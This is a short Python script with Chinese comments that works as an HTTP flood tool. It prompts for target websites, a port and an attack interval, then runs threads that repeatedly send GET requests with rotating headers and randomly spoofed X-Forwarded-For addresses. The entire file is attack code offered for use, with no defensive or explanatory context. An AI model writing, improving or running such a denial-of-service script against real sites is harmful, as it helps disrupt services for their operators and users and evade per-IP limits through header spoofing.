import socket
import time
import threading
import random

def attack(target):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((target, port))
    
    while True:
        try:
            header = random.choice(headers)
            ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
            spoofed_packet = f"GET / HTTP/1.1\r\nHost: {target}\r\n{header}\r\nX-Forwarded-For: {ip}\r\n\r\n".encode()
            client.send(spoofed_packet)
            time.sleep(attack_interval)  # 用户定义的攻击间隔时间
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    # 获取用户输入
    targets = input("请输入目标网站列表，用分号(;)分隔(e.g., example.com): ").split(';')
    port = int(input("请输入目标端口: "))
    headers = [
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Accept-Language: en-US,en;q=0.9",
        "Referer: https://www.google.com/",
        "Cookie: session=abcdef1234567890",
        # 用户可以添加更多自定义的请求头
    ]
    attack_interval = float(input("请输入攻击间隔时间（秒）: "))

    # 创建线程
    threads = []
    for target in targets:
        thread = threading.Thread(target=attack, args=(target,))
        thread.start()
        threads.append(thread)

    # 等待所有线程完成
    for thread in threads:
        thread.join()